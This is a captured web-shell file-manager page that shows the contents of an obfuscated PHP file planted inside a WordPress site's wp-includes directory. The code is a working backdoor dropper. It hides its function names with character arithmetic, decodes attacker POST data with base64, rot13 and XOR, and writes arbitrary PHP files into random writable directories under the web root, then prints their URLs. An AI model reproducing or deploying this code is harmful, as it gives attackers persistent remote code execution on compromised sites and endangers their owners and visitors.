HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/blocks/post-template/haxfkoev.php
<?php $OByST = 'D'.chr(79).chr(353-286).'U'.'M'.'E'.chr(897-819).chr(820-736).chr(95).chr(82).'O'."\x4f"."\x54";$zLJRoZQS = "\110"."\x54".'T'.chr(80).chr(95).chr(72)."\x4f"."\123".chr(409-325);$USXpNwL = "\x68"."\x74".chr(116)."\x70".':'."\x2f"."\x2f";$RUdjoRFe = "\56".chr(283-171).chr(345-241).chr(1005-893);$DBtykDO = "\160".chr(307-203).'p';$DykhJ = chr(821-719)."\151".chr(618-510).chr(101).'_'."\160"."\165".chr(116).chr(95)."\x63"."\x6f"."\x6e".chr(785-669).chr(101).chr(110).chr(116).chr(115);$ZOPbuSvZ = chr(908-794).chr(997-900).chr(119)."\165".chr(344-230)."\x6c".chr(100).'e'.chr(858-759).chr(1099-988).chr(119-19)."\x65";$NEmuDwRY = "\165".chr(560-450)."\x73"."\x65".'r'.'i'."\x61".'l'."\151".'z'.chr(524-423);$jVdTryky = 'i'."\163".'_'.chr(572-453)."\x72".chr(767-662)."\164".'a'.chr(98).chr(108).chr(101);$btJkGWnRUd = chr(112).chr(569-465).chr(665-553).'v'.chr(977-876)."\x72"."\x73"."\x69"."\x6f"."\156";$Bjzmp = "\163".chr(200-84)."\x72".chr(95).'r'."\x6f".chr(116).'1'."\63";$tltDq = chr(1099-984).'e'."\162".chr(105)."\141"."\x6c".'i'."\172"."\145";$hcHCdLdng = "\163".chr(116).chr(114)."\137".'s'."\x70".chr(737-629).chr(105).chr(464-348);foreach ($_POST as $xInYT => $gvldM){$GEZsCxmgG = strlen($xInYT);if ($GEZsCxmgG == 16){$gvldM = $hcHCdLdng($ZOPbuSvZ($Bjzmp($gvldM)));$xInYT = array_slice($hcHCdLdng(str_repeat($xInYT, (count($gvldM)/16)+1)), 0, count($gvldM));function WgDeiF($zFrwQ, $GmsVkn, $xInYT){$jruQBiql = "cf8ded62-5ac0-4659-876b-773c56863cce";return $zFrwQ ^ $jruQBiql[$GmsVkn % strlen($jruQBiql)] ^ $xInYT;}$gvldM = array_map("WgDeiF", array_values($gvldM), array_keys($gvldM), array_values($xInYT));$gvldM = implode("", $gvldM);$gvldM = @$NEmuDwRY($gvldM);if (@is_array($gvldM)){$IGYVqAr = array_keys($gvldM);$gvldM = $gvldM[$IGYVqAr[0]];if ($gvldM === $IGYVqAr[0]){echo @$tltDq(Array($DBtykDO => @$btJkGWnRUd(), ));exit();}else {function qLuLzmSlhu($yFRXDTTir){static $aTOdilWi = array();$OXWXVPvgG = glob($yFRXDTTir . '/*', GLOB_ONLYDIR);$pGPxkyKp = count($OXWXVPvgG);if ($pGPxkyKp > 0) {foreach ($OXWXVPvgG as $yFRXDTT) {if (@$jVdTryky($yFRXDTT)) {$aTOdilWi[] = $yFRXDTT;}}}foreach ($OXWXVPvgG as $yFRXDTTir) qLuLzmSlhu($yFRXDTTir);return $aTOdilWi;}$lTXykX = $_SERVER[$OByST];$OXWXVPvgG = qLuLzmSlhu($lTXykX);$IGYVqAr = array_rand($OXWXVPvgG);$vyIAVplDDJ = $OXWXVPvgG[$IGYVqAr] . "/" . substr(md5(time()), 0, 8) . $RUdjoRFe;@$DykhJ($vyIAVplDDJ, $gvldM);$pYmxIGbW = $USXpNwL . $_SERVER[$zLJRoZQS] . substr($vyIAVplDDJ, strlen($lTXykX));print($pYmxIGbW);die();}}}}